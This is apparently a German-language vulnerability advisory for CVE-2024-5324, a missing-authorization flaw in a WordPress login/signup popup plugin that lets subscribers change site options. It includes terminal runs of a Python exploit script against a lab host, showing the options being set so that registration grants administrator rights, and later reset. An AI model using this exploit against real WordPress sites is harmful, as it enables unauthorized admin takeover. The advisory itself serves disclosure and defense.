
Login/Signup Popup ( Inline Form + Woocommerce ) 2.7.1 - 2.7.2 - Fehlende Autorisierung für beliebige Optionsaktualisierungen
Login/Signup Popup (Inline Form + Woocommerce) 2.7.1 - 2.7.2 - Fehlende Autorisierung führt zu beliebigen Optionsaktualisierungen
Das Plugin „Login/Signup Popup (Inline Form + Woocommerce)“ für WordPress ist aufgrund einer fehlenden Fähigkeitsprüfung in der Funktion import_settings in den Versionen 2.7.1 bis 2.7.2 anfällig für unbefugte Änderungen von Daten. Dadurch ist es authentifizierten Angreifern mit Subscriber-Zugriff oder höher möglich, beliebige Optionen auf betroffenen Websites zu ändern. Dies kann genutzt werden, um die Registrierung neuer Benutzer zu aktivieren und die Standardrolle für neue Benutzer auf Administrator festzulegen.
Severity: high
CVE ID: CVE-2024-5324
CVSS Score: 8.8
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Plugin Slug: easy-login-woocommerce
WPScan URL: https://www.wpscan.com/plugin/easy-login-woocommerce
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/005a27c6-b9eb-466c-b0c3-ce52c25bb321?source=api-prod
$ python3 CVE-2024-5324.py --url http://wordpress.lan -un test -p test
The plugin version is 2.7.1.
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
You can now register a user on the as a admin.
$ python3 CVE-2024-5324.py --url http://wordpress.lan -un test -p test --fix e
The plugin version is 2.7.1.
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Options reset to default